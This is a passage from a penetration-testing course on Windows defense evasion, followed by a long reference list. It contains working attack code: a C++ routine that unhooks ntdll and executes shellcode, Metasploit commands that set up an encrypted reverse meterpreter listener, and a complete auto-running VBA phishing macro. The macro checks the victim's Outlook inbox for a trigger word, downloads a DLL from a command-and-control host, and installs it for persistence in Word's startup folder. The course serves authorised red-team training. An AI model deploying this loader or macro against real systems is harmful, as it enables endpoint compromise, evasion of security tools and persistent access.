>VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
(LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader-
>Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.308


1.12 Removing User-Mode Hooks

void executeshellcode()
{
unsigned char buf[] = <SHELLCODE>;
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, buf, sizeof buf);
DWORD oldProtect;
VirtualProtect((LPVOID)exec, sizeof buf, PAGE_EXECUTE_READ, &oldProtect);
((void(*)())exec)();
}
int main()
{
std::cout << "[+] Press enter to unhook";
std::cin.get();
unhook();
std::cout << "[+] Press enter to execute shellcode";
std::cin.get();
executeshellcode();
return 0;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.309


1.12 Removing User-Mode Hooks

Mestasploit AutoUnhookProcess
Metasploit has an AutoUnhookProcess extension that can be
used to unhook meterpreter sessions once they connect back to
the operator's machine. Load this extension via the following.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp_rc4
msf5 exploit(multi/handler) > set LHOST=<HOST>
msf5 exploit(multi/handler) > set LPORT=<PORT>
msf5 exploit(multi/handler) > set RC4PASSWORD <PASS>
msf5 exploit(multi/handler) > set AutoUnhookProcess true
msf5 exploit(multi/handler) > set ExitOnSession false
msf5 exploit(multi/handler) >run –j

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.310


1.12 Removing User-Mode Hooks

Remember to generate your


payloads according to the
configuration used. In this case:

~ msfvenom –p windows/x64/meterpreter/reverse_tcp_rc4
RC4PASSWORD=wootwoot LHOST=<HOST> LPORT=<PORT> -f <FORMAT> -o
<OUTPUT_FILE>

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.311


1.13

Stealth Macro
Development

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.312


1.13 Stealth Macro Development

In order to avoid behavior analysis detaching the execution


from Office and sandboxes.

We can develop a macro that checks the user email to see


if the email matching our phishing campaign is in the inbox
and only in this case will achieve persistence.

This will be done without calling Windows API Functions.


PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.313
1.13 Stealth Macro Development

The macro will do the following:


1. Check if outlook is running or
try to open it
2. Read email subjects
3. If the trigger word is present
download the payload and
achieve persistence.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.314


1.13 Stealth Macro Development

For this purpose The Outlook Object Class will be used.

It includes several functions for accessing Outlook


properties and functions that can be leveraged for our
purpose.

https://docs.microsoft.com/en-us/office/vba/api/outlook.olobjectclass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.315


1.13 Stealth Macro Development

However, we need to be aware of Object Model Guard that


warns users and prompts for confirmation when untrusted
applications attempt to use protected methods or
properties.
https://docs.microsoft.com/en-us/office/vba/outlook/how-to/security/security-behavior-of-
the-outlook-object-model PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.316
1.13 Stealth Macro Development

There is no mention for Attachments or Subject properties,


meaning that we can check if certain words exists in the subject
of an email without Object Model Guard warning the user and
asking for confirmation.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.317
1.13 Stealth Macro Development

The first step is to create the GetInbox function. This function will
try to use an existing Outlook instance or create a new one in
case it is closed. Then it will return the Inbox folder as an object.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.318
1.13 Stealth Macro Development

The next function will be CheckMail. This function will accept a


TriggerWord as a string and will return True or False depending
whether this word is present in any email subject or not.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.319
1.13 Stealth Macro Development

Our next function will be InstallPersistence. This function will accept a


string containing a remote file, in this case a DLL used to achieve
persistence using Word Library Add-ins. This function will download the
file and save it with the name WordPersistence.wll.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.320
1.13 Stealth Macro Development

Then the Main function will


be added.

This will have the dll


hardcoded and the trigger
word.

It will call CheckMail


function with the trigger
word and if this one is
present it will call the
InstallPersistence
function.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.321
1.13 Stealth Macro Development

Once the Macro is executed, it will reach our C2 and download


the dll if the trigger word is present. The next time the target
opens Microsoft Word, our payload will be executed.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.322
1.13 Stealth Macro Development
Code:

Private Function GetInbox() As Object


' Define vars
Dim OutlookApp, OutlookSpace, OutlookFolder As Object
OutlookClass = "Outlook.Application"
On Error Resume Next ' Don't crash if something goes wrong
Set OutlookApp = GetObject(, OutlookClass) 'Attach to existing Outlook if running
If Err.Number <> 0 Then ' Outlook Not running?
Err.Clear ' Clear Errors
Set OutlookApp = CreateObject(OutlookClass) ' Try to open Outlook
If Err.Number <> 0 Then ' No Outlook! Abort!
Err.Clear
Set GetInbox = Nothing
Exit Function
End If
End If
On Error GoTo 0 ' Disable error trap
Set OutlookSpace = OutlookApp.GetNamespace("MAPI")
Set OutlookFolder = OutlookSpace.GetDefaultFolder(6) 'Default inbox folder is number 6
Set GetInbox = OutlookFolder ' Return the OutlookFolder Object
End Function

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.323


1.13 Stealth Macro Development

Private Function CheckMail(TriggerWord As String) As Boolean


Dim Inbox As Object
Set Inbox = GetInbox
If Inbox Is Nothing Then
CheckMail = False
Exit Function
End If
For Each FolderItem In Inbox.Items
If FolderItem.Class = 43 Then ' Its an olMail
SubjetWords = Split(FolderItem.Subject, " ") ' Subject is not protected by Object Model Guard
For Each SubjectWord In SubjetWords
If SubjectWord = TriggerWord Then
CheckMail = True
Exit Function
End If
Next
End If
Next
CheckMail = False
End Function

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.324


1.13 Stealth Macro Development

Private Function InstallPersistence(RemoteFile As String)


Dim PathOfFile As String
Dim HTTPReq As Object
PathOfFile = Environ("AppData") & "\Microsoft\Word\STARTUP\WordPersistence.wll"
Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
HTTPReq.Open "GET", RemoteFile, False
HTTPReq.Send
If HTTPReq.Status = 200 Then
Set Output = CreateObject("ADODB.Stream")
Output.Open
Output.Type = 1 ' Binary Data
Output.Write HTTPReq.ResponseBody
Output.SaveToFile PathOfFile, 2 ' Create or overwrite
Output.Close
End If
End Function

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.325


1.13 Stealth Macro Development

Sub Main()
Dim MailOk As Boolean
Dim RemoteFile, TriggerWord As String
RemoteFile = "http://192.168.10.10/test"
TriggerWord = "account?"
MailOk = CheckMail(TriggerWord)
If MailOk Then
InstallPersistence (RemoteFile)
End If
End Sub
Sub Auto_Open()
Main
End Sub
Sub AutoOpen()
Main
End Sub

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.326


References

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.327


References
Here’s a list of all references linked or used in this course.
AMSI_ATTRIBUTE
https://docs.microsoft.com/en-us/windows/win32/api/amsi/ne-amsi-amsi_attribute

IAmsiStream::GetAttribute
https://docs.microsoft.com/windows/desktop/api/amsi/nf-amsi-iamsistream-getattribute

AMSI_RESULT
https://docs.microsoft.com/en-us/windows/win32/api/amsi/ne-amsi-amsi_result

AmsiInitialize
https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiinitialize

AmsiOpenSession
https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiopensession

Click HERE to return to Slide 10. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.328
Click HERE to return to Slide 11.
References
AmsiOpenSession
https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiopensession

AmsiCloseSession
https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiclosesession

AmsiScanBuffer
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer

AmsiScanString
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanstring

AmsiResultIsMalware
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiresultismalware

AmsiUninitalize
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiuninitialize
Click HERE to return to Slide 11. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.329
Click HERE to return to Slide 12.
References
Amsi-Bypass
https://www.contextis.com/en/blog/amsi-bypass

Ghidra
https://ghidra-sre.org/

LoadLibrary
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya

GetProcAddress
https://docs.microsoft.com/en-gb/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress

VirtualProtect
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect

Add-Type
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/add-
type?view=powershell-7
Click HERE to return to Slide 19.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.330
References
ASBBypass.ps1
https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass.ps1

Address Space Layout Randomization (ASLR)


https://en.wikipedia.org/wiki/Address_space_layout_randomization

DLL Export Viewer


https://www.nirsoft.net/utils/dll_export_viewer.html

TxtWizard
http://www.txtwizard.net/encoding

Safely Searching Process Virtual Address Space


http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

AMSI Bypass
https://www.contextis.com/en/blog/amsi-bypass

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.331


References
Assembly.Load(Byte[])
https://docs.microsoft.com/en-
us/dotnet/api/system.reflection.assembly.load#System_Reflection_Assembly_Load_System_Byte___

AmsiScanBufferBypass
https://github.com/rasta-mouse/AmsiScanBufferBypass

BooLang
https://github.com/boo-lang/boo

Platform Invoke (P/Invoke)


https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke

Boo as an embedded scripting language


https://github.com/boo-lang/boo/wiki/Boo-as-an-embedded-scripting-language

Invoke-Boolang.ps1
https://github.com/byt3bl33d3r/OffensiveDLR/blob/master/Invoke-Boolang.ps1

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.332


References
boo
https://github.com/boo-lang/boo/tree/master/bin

Duck Typing
https://github.com/boo-lang/boo/wiki/Duck-Typing

RunBooAssemblyResolve.cs
https://github.com/byt3bl33d3r/OffensiveDLR/blob/master/runBooAssemblyResolve.cs

Part 1 - ETW Introduction and Overview


https://blogs.msdn.microsoft.com/ntdebugging/2009/08/27/part-1-etw-introduction-and-overview/

Configuring and Starting an AutoLogger Session


https://docs.microsoft.com/en-us/windows/win32/etw/configuring-and-starting-an-autologger-session

EtwEventWrite
https://docs.microsoft.com/en-us/windows/win32/devnotes/etweventwrite

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.333


References
Development and Testing Tools - Fltmc.exe
https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/development-and-testing-tools

sshmon
https://github.com/matterpreter/Shhmon

Microsoft Defender Advanced Threat Protection


https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-
atp/microsoft-defender-advanced-threat-protection

What is Advanced Threat Analytics?


https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata

Using WMI
https://docs.microsoft.com/en-us/windows/win32/wmisdk/using-wmi

wmic
https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.334


References
PowerView
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

PywerView
https://github.com/the-useless-one/pywerview

BloodHound
https://github.com/BloodHoundAD/BloodHound

Dumpert
https://github.com/outflanknl/Dumpert

C# documentation
https://docs.microsoft.com/en-us/dotnet/csharp/

Visual Studio Downloads


https://visualstudio.microsoft.com/downloads/

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.335


References
Mono C# Compiler
https://www.mono-project.com/docs/about-mono/languages/csharp/

WebClient Class
https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient?view=netframework-4.8

VirtualAlloc
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc

VirtualProtect
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect

CreateThread
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createthread

WaitForSingleObject
https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject

Click HERE to return to Slide 161.


PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.336
References
Pinvoke.net
https://www.pinvoke.net/

CreateRemoteThread
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createremotethread

OpenProcess
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
openprocess

VirtualAllocEx
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex

WriteProcessMemory
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory

VirtualProtectEx
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
Click on the slide number to return to: 173, 189, 209 or 210. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.337
References
RunPE.cpp – Process Hollowing Example
https://gist.github.com/andreafortuna/d7fb92fb29e4ade27c0c6ce4401c99fa

CreateProcessA
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createprocessa

Process Creation Flags


https://docs.microsoft.com/en-gb/windows/win32/procthread/process-creation-flags

CreateProcess
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createprocessa

InitializeProcThreadAttributeList
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
initializeprocthreadattributelist

UpdateProcThreadAttribute
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
updateprocthreadattribute
Click HERE to return to Slide 189. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.338
Click HERE to return to Slide 209.
References
STARTUPINFOEXA structure
https://docs.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexa

STARTUPINFOA structure
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-
startupinfoa

PROCESS_INFORMATION
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-
process_information

SECURITY_ATTRIBUTES
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v%3Dvs.85)

Process Security and Access Rights


https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights

donut releases
https://github.com/TheWover/donut/releases
Click HERE to return to Slide 211. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.339
References
donut
https://github.com/TheWover/donut/tree/master

GetProcAddress
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress

LoadLibraryA function
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya

FreeLibrary
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freelibrary

Preemptive Dotfuscator
https://www.preemptive.com/products/dotfuscator/overview

Emulating Covert Operations –Dynamic Invocation (Avoiding Pinvoke & API Hooks)
https://thewover.github.io/Dynamic-Invoke/
Click HERE to return to Slide 244. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.340
References
Operational Challenges in Offensive C#
https://cobbr.io/SharpGen.html

Cylance's ReflectiveDLLRefresher
https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher

git downloads
https://git-scm.com/downloads

ReflectiveDLLRefresher
https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher.git

ReflectiveDLLRefresher Releases
https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher/releases

UPX - the Ultimate Packer for eXecutables


https://github.com/CylanceVulnResearch/upx/tree/reflective_dll

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.341


References
Metasploit-loader
https://github.com/rsmudge/metasploit-loader

Windows Manage Reflective DLL Injection Module


https://www.rapid7.com/db/modules/post/windows/manage/reflective_dll_inject

Shellcode Reflective DLL Injection (sRDI)


https://github.com/monoxgas/sRDI

OlObjectClass enumeration (Outlook)


https://docs.microsoft.com/en-us/office/vba/api/outlook.olobjectclass

Security Behavior of the Outlook Object Model


https://docs.microsoft.com/en-us/office/vba/outlook/how-to/security/security-behavior-of-the-outlook-
object-model
Anti Malware Scan Interface (AMSI)
https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.342


References
AmsiScanBuffer Bypass Part-3
https://rastamouse.me/2018/11/amsiscanbuffer-bypass-part-3/

Red Teamer’s Cookbook: Bring Your Own Interpreter (BYOI)


https://www.blackhillsinfosec.com/red-teamers-cookbook-byoi-bring-your-own-interpreter/

Tampering with Windows Event Tracing: Background, Offense, and Defense


https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-
4be7ac62ac63

Hiding your .NET - ETW


https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/

Hiding your .NET - COMPlus_ETWEnabled


https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/

Red Team Techniques for Evading, Bypassing, and Disabling MS Advanced


Threat Protection and Advanced Threat Analytics
https://github.com/retbandit/BlackHat2017/blob/master/eu-17-Thompson-Red-Team-Techniques-for-Evading-
Bypassing-and-Disabling-MS-Advanced-Threat-Protection-and-Advanced-Threat-Analytics.pptx
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.343
References
SYSMON
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

Command-line build with csc.exe


https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-
building-with-csc-exe

C# AES 256 Bits Encryption Library With Salt


https://www.codeproject.com/Articles/769741/Csharp-AES-bits-Encryption-Library-with-Salt

Process Hollowing
https://github.com/m0n0ph1/Process-Hollowing

Parent PID Spoofing


https://attack.mitre.org/techniques/T1502/

Writing custom backdoor payloads with C#


https://github.com/mvelazc0/defcon27_csharp_workshop

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.344


References
Universal Unhooking
https://www.cylance.com/content/dam/cylance/pdfs/white_papers/Universal_Unhooking.pdf

Donut: Injecting .Net Assemblies as shellcode


https://thewover.github.io/Introducing-Donut/

Full DLL Unhooking with C++


https://ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.345

You might also like